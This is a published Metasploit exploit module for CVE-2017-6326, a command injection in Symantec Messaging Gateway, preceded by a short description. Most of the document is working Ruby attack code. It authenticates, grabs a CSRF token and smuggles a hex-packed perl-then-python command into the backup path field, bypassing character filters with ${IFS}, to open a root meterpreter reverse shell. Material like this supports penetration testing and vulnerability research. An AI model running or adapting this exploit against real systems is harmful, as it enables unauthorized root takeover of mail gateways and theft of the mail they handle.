Symantec Messaging Gateway Remote Code Execution

This Metasploit module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a terminal command under the context of the web server user which is root. backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause an command injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal command. Thus, you need to configure your own SSH service and set the required parameter during module usage. This Metasploit module was tested against Symantec Messaging Gateway 10.6.2-7.


MD5 | ec43893d466be8d6bcf23e16f2e3a697

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Messaging Gateway Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
terminal command under the context of the web server user which is root.

backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.

This module was tested against Symantec Messaging Gateway 10.6.2-7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'],
['CVE', '2017-6326']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => true,
'DisclosureDate' => "Apr 26 2017",
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
]
)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def ssh_address
datastore['SSH_ADDRESS']
end

def ssh_port
datastore['SSH_PORT']
end

def ssh_username
datastore['SSH_USERNAME']
end

def ssh_password
datastore['SSH_PASSWORD']
end

def auth
print_status("Performing authentication...")

sid = ''
last_login = ''

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
})

if res && !res.get_cookies.empty?
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
else
fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
end

cookie = ''

# Performing authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
'headers' => {
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_post' => {
'lastlogin' => last_login,
'userLocale' => '',
'lang' => 'en_US',
'username' => username,
'password' => password,
'loginBtn' => 'Login'
}
})

if res &&res.body =~ /Logged in/
cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
print_good("Awesome..! Authenticated with #{username}:#{password}")
else
fail_with(Failure::Unknown, 'Credentials are not valid.')
end

cookie
end

def get_csrf_token(cookie)

print_status('Capturing CSRF token')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
})

csrf_token = nil
if res && res.code == 200
match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
if match
csrf_token = match[1]
print_good("CSRF token is : #{csrf_token}")
else
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
end
else
fail_with(Failure::Unknown, 'Something went wrong.')
end

csrf_token
end

def exploit

cookie = auth
csrf_token = get_csrf_token(cookie)

# I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
# Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
# Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
# So we gonna execute a perl payload on server side which will execute our meterpreter python payload.

cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack("H*").first

p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

# Ok. We are ready to go
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
'vars_post' => {
'pageReuseFor' => 'backup_now',
'id' => '',
'symantec.brightmail.key.TOKEN' => csrf_token,
'backupData' => 'full',
'customType' => 'configuration',
'includeIncidentMessages' => 'true',
'includeLogData' => 'true',
'backupTo' => '2',
'remoteBackupProtocol' => 'SCP',
'remoteBackupAddress' => ssh_address,
'remoteBackupPort' => ssh_port,
'remoteBackupPath' => "tmp$(#{p})",
'requiresRemoteAuthentication' => 'true',
'remoteBackupUsername' => ssh_username,
'remoteBackupPassword' => ssh_password,
}
})
end

end

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